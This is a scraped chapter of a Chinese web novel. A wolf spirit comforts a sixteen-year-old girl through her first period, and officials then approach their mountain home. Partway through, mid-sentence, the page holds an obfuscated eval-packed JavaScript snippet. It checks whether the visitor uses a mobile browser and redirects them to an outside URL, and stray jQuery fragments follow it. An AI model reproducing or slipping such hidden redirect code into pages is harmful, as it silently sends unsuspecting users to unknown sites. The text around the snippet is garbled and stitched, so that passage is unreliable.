123读书网 > 都市小说 > 无名山上有什么 > 44. 捡到一只狼6
    屋门将将被推开一条缝,淡淡的血腥气顺着门缝钻进乌云的鼻子里。


    乌云还以为是身上的血气没洗干净——他明明在山涧边仔细搓过了,连穷奇角都刷得溜光水滑。


    可这味道……飘来的方向不对,是炕上,是蜷缩在被子里的人。


    不好!有人趁他不在袭击了陶然?!


    乌云浑身毛发瞬间炸起,喉咙里滚出低沉的威胁声,朝屋内丢出一对黑牛角,猛地窜进屋,锐利的目光扫过每一个角落。


    没有打斗痕迹,没有陌生人的气息。屋里只有李陶然一人,呼吸有些急促,蜷得像只虾米。


    但血腥味确实是从她身上传来的。


    乌云的心一下子提到了嗓子眼。他几步跃到炕边,伸出爪子,想碰又不敢碰,只能焦急地用湿润的鼻尖去嗅李陶然露在外面的脸颊和脖颈。


    没有伤口,可味道还在。


    “嗷呜”他用头轻轻拱了拱她,“陶、然?”


    李陶然迷迷糊糊“嗯”了一声,没睁眼,只是眉头皱得更紧,手无意识地按在小腹上。


    乌云急得在炕边转了两圈,尾巴绷得笔直。他忽然想起什么,扭头冲出门外,对着泥地猛踩两脚。


    片刻,院子角落的地面微微隆起,两个矮小的身影冒了出来——正是之前见过的土地公和土地婆,两人还睡眼惺忪。


    “大人?有何吩咐?”


    “她,”乌云用爪子指指屋里,声音压得很低,却带着罕见的慌乱,“流血了。我不知道怎么回事。你们看看。”


    土地公土地婆对视一眼,赶紧跟着进屋。


    土地婆走到炕边,借着月光看了看李陶然苍白的脸色,又注意到被褥上一点暗色痕迹,再结合她捂着肚子的姿势,心里明白了七八分。


    土地公还在探头探脑:“大人,这血腥味……”


    “嘘!”土地婆拉了他一把,把他拽到屋角,低声快速说了几句。


    土地公恍然大悟,老脸有点红,捋了捋胡子,干咳一声,转身对乌云小声道:“大人莫急,李姑娘这是……呃,是来月事了,算是喜事吧,不是受伤。”


    乌云金色的眼睛里满是困惑:“月事?喜事?流血还是喜事?”


    土地婆赶紧补充:“就是葵水,每月都会有的,说明姑娘身子康健,能……能生养了。”她尽量说得直白些,“有些疼是正常的,熬过这几天就好。得注意保暖,别碰凉水。”


    乌云听得似懂非懂,但“不是受伤”、“身子康健”这几个词让他紧绷的神经稍微松了松。可看着李陶然难受的样子,他心里还是揪着。


    “那现在怎么办?”他问。


    土地婆想了想:“暖暖肚子会好些。用热手捂着,或者……”


    她话没说完,乌云已经掉头跳上了炕。


    他先用脑袋把蜷缩的李陶然往里轻轻推了推,然后自己小心翼翼地在她身侧趴下。他伸出前爪,犹豫了一下,隔着被子用柔软的肉垫轻轻覆在她捂着小腹的手上——不够暖。


    他又低头,舔了舔她的额头,温热的呼吸喷在她脸上——还是隔着一层。


    乌云停住了。


    他绿色的眼睛在黑暗中眨了眨,然后做了一个决定。


    他低下头,用鼻尖拱开被子边缘,整个脑袋先钻了进去,接着是肩膀、前爪、温热宽厚的胸膛和肚腹……他就像一条巨大而谨慎的毛毯,缓慢而坚定地,把自己塞进了李陶然的怀里。


    土地公土地婆在下面张着嘴,看着被褥隆起一个长条形的鼓包,还在轻轻蠕动调整位置。


    最后,乌云那颗毛茸茸的脑袋从李陶然的颈窝边钻了出来,喘了口气,尾巴还在被子外面轻轻摆了一下。


    他调整姿势,让自己最温暖柔软的腹部,紧紧贴着李陶然冰凉的小腹和蜷起的腿弯。然后他伸出前肢——这回是从被子里面了——环过去,轻轻搭在她的背上,把她往自己热烘烘的怀里带了带。


    李陶然在睡梦中无意识地哼了一声,脸埋进他颈边厚实温暖的毛发里,手也摸索着抱住了他的腰腹。


    乌云不动了。他抬起头,对炕下两个看得目瞪口呆的土地公土地婆低声道:“行了。你们回吧。”


    土地婆最先反应过来,忍着笑拉了拉土地公的袖子:“是,大人。那个……您体温比人高,这样暖着,比汤婆子还管用呢。”


    两人赶紧缩回地里去了。


    乌云这才放松下来,把下巴轻轻搁在李陶然的头顶。被窝里满是她的气息,还有那股淡淡的血腥气,此刻混合着他自己的皮毛味道,奇异地缠绕在一起。


    他感觉到怀里紧绷的身体一点点松弛下来,紧皱的眉头也舒展开。她的呼吸渐渐绵长,带着安稳的节奏。


    窗外月色流淌。


    乌云睁着眼睛,在黑暗中静静感受着怀中这具躯体传来的细微温度变化,和她平缓的心跳。他小心地、极轻地,用鼻尖蹭了蹭她的发旋。


    喉咙里发出极低极低的、呼噜般的安慰声。


    李陶然是被压醒的。


    胸口沉甸甸的,热烘烘的,还有毛茸茸的触感。她迷迷糊糊睁开眼,天刚蒙蒙亮。


    然后,她看到了一张近在咫尺的、放大的毛茸茸?


    乌云整只狼侧躺在她的被窝里,面对面地把她圈在怀里。他的一条前腿虚虚地搭在她肩上,另一条从她颈下穿过。


    她的脸全埋在他颈边厚实温暖的绒毛里,一条腿还被他的后腿轻轻勾着。


    更让她心跳骤停的是——她自己的手臂,居然也环在乌云的脖子上,一只手还无意识地抓着他颈后的一撮毛。


    完全就是面对面、手脚并用地缠在一起。


    李陶然瞬间僵住了。


    紧接着,身下那种陌生的、黏腻的感觉和小腹隐隐的闷痛一起袭来,让她彻底清醒。


    来月事了?


    她都十六岁了,住在王厚德家时一直没来,还暗自担心过。


    脸烫得能煎鸡蛋。想动,又不敢动。


    搭在她肩上的狼腿似乎察觉到了她的僵硬,动了动,爪子也收了收,把她更往怀里带了带。


    乌云睡得似乎很沉,眼睛紧闭,大脑袋搁在她头顶,呼吸平稳绵长。


    李陶然屏住呼吸,一点点、极其缓慢地,把自己环在他脖子上的胳膊抽出来。又试着把被他后腿勾着的腿往回缩。


    刚动了一下,乌云喉咙里就发出含糊的咕噜声,脑袋在她头顶蹭了蹭,搭在她腰间的腿收得更紧,几乎把她整个嵌进自己怀里。


    李陶然:“……”


    她不敢再动了。


    睁着眼,看着近在咫尺的灰白掺杂的绒毛,感受着小腹传来的闷痛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943261|190893||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    和身下糟糕的黏腻感,还有包裹着她的、令人窒息的温暖和野兽的气息。


    时间一点点过去。窗外的天色越来越亮。


    终于,乌云动了动。他先是用鼻尖蹭了蹭她的脸颊,然后慢慢睁开了眼睛。


    绿色的瞳仁在晨光中清澈透亮,带着刚睡醒的惺忪。他就这样看着她,眼神专注,甚至带着点……理所当然?


    李陶然脸更红了,张了张嘴,声音细若蚊虫:“乌、乌云……你松开,我得起来。”


    乌云没动,喉咙里发出低低的、疑问般的哼声。


    他知道。他肯定知道。


    李陶然又羞又急,用力推了推他厚实的胸脯:“松开!”


    这次乌云听话地松开了环着她的四肢,往后退了退,但依旧侧躺在炕上,目光跟着她。


    李陶然几乎是弹起来的。顾不上看地上那对醒目的黑牛角,也顾不上整理凌乱的被褥,她径直冲到墙角木箱边,手忙脚乱地翻出那个小布包,抱着就跑进厨房里。


    等她匆匆处理好自己,换上干净衣物走出来时,乌云已经不在炕上了。


    他蹲在灶边,面前是那对乌黑发亮的牛角。听到动静,他转过头,起身走过来,先是用脑袋蹭了蹭她的手,然后低头,仔细嗅了嗅她的衣摆。


    血腥味淡了。


    他喉咙里发出一声满意的低呜,用爪子把其中一根的牛角往她脚边推了推,然后抬头看她,眼睛中满是成沉稳和一丝自得。


    李陶然看着那对显然不是凡物的角,又看看眼前这只眼神清澈、带着关切的灰狼。昨晚那种被紧紧搂在怀里、暖意烘着小腹的记忆清晰起来,带着体温和绒毛的触感。


    窘迫和羞恼慢慢褪去,心里某个地方变得又软又暖。


    “谢谢。”她蹲下身,摸了摸乌云的脑袋,又碰了碰那光滑的牛角,“这个……也是给我的?”


    乌云点点头,用湿漉漉的鼻尖碰了碰她的掌心。


    李陶然忍不住笑了,小腹的闷痛似乎都轻了些:“我收下了。还得弄吃的,我……也得喝点热水。”


    她走到灶边生火。乌云安静地蹲在她脚边,尾巴轻轻扫着地面。


    灰狼想变成人的欲望越来越强。


    若是人形,就能给他的凡人烧水,做饭。


    单凭他的法术,做不了太精细的活计。


    天道这方面管得严,想要使用哪些法术,必须用功德兑换。


    他目前能使用的是幻术,缩地成寸以及袖里乾坤。


    李陶然正往锅里舀水,灶膛里的火噼啪作响。


    乌云出神地想着,耳朵忽然敏锐地捕捉到远处山道上不同寻常的动静。


    是马蹄声,不止一匹,还有金属甲片碰撞的轻响,以及官靴踏地的沉重步伐。


    灰狼眼睛瞬间眯起,耳朵转向声音传来的方向。他缓缓站起身,喉咙里发出极低的、预警般的呼噜声。


    李陶然刚把米下锅,盖上锅盖,一回头就看到乌云这副警戒的姿态。她愣了一下:“怎么了?”


    乌云没看她,而是走到门边,用鼻子顶开门缝,向外望去。


    山道拐角处,转出一队人马。为首的骑着高头大马,穿着县衙差役的常服,腰佩一柄刀。身后跟着四五个步行衙役,还有一辆简陋的青布小车。


    这阵仗,绝非寻常。